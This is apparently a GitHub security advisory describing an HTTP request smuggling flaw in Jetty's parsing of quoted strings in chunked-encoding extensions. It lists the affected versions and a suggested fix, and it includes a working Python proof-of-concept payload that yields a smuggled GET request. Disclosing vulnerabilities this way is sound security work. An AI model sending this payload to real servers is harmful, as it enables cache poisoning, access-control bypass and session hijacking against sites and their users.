GHSA-355h-qmc2-wpwfHighCVSS 7.4
Jetty has HTTP Request Smuggling via Chunked Extension Quoted-String Parsing
🔗 CVE IDs covered (1)
📋 Description
### Description (as reported)
Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.
### Background
This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:
- https://w4ke.info/2025/06/18/funky-chunks.html
- https://w4ke.info/2025/10/29/funky-chunks-2.html
The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.
### Technical Details
**RFC 9112 Section 7.1.1** defines chunked transfer encoding:
```
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
```
**RFC 9110 Section 5.6.4** defines quoted-string:
```
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
```
A quoted-string continues until the closing DQUOTE, and `\r\n` sequences are not permitted within the quotes.
### Vulnerability
Jetty terminates chunk header parsing at `\r\n` inside quoted strings instead of treating this as an error.
**Expected (RFC compliant):**
```
Chunk: 1;a="value\r\nhere"\r\n
^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]
```
**Actual (jetty):**
```
Chunk: 1;a="value
^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request
```
### Proof of Concept
```python
#!/usr/bin/env python3
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"\r\n"
b'1;a="\r\n'
b"X\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Content-Length: 11\r\n"
b"\r\n"
b'"\r\n'
b"Y\r\n"
b"0\r\n"
b"\r\n"
)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)
response = b""
while True:
try:
chunk = sock.recv(4096)
if not chunk:
break
response += chunk
except socket.timeout:
break
sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))
```
**Result:** Server returns 2 HTTP responses from a single TCP connection.
#### Parsing Breakdown
| Parser | Request 1 | Request 2 |
|--------|-----------|-----------|
| jetty (vulnerable) | POST / body="X" | GET /smuggled (SMUGGLED!) |
| RFC compliant | POST / body="Y" | (none - smuggled request hidden in extension) |
### Impact
- **Request Smuggling**: Attacker injects arbitrary HTTP requests
- **Cache Poisoning**: Smuggled responses poison shared caches
- **Access Control Bypass**: Smuggled requests bypass frontend security
- **Session Hijacking**: Smuggled requests can steal other users' responses
### Reproduction
1. Start the minimal POC with docker
2. Run the poc script provided in same zip
### Suggested Fix
Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112.
A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.
### Patches
No patches yet.
### Workarounds
No workarounds yet.
### References
- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)
- Funky Chunks Research: https://w4ke.info/2025/06/18/funky-chunks.html
- details for security versions https://jetty.org/security.html
🎯 Affected products5
- maven/org.eclipse.jetty:jetty-http:>= 12.1.0, <= 12.1.6
- maven/org.eclipse.jetty:jetty-http:>= 12.0.0, <= 12.0.32
- maven/org.eclipse.jetty:jetty-http:>= 11.0.0, <= 11.0.27
- maven/org.eclipse.jetty:jetty-http:>= 10.0.0, <= 10.0.27
- maven/org.eclipse.jetty:jetty-http:>= 9.4.0, <= 9.4.59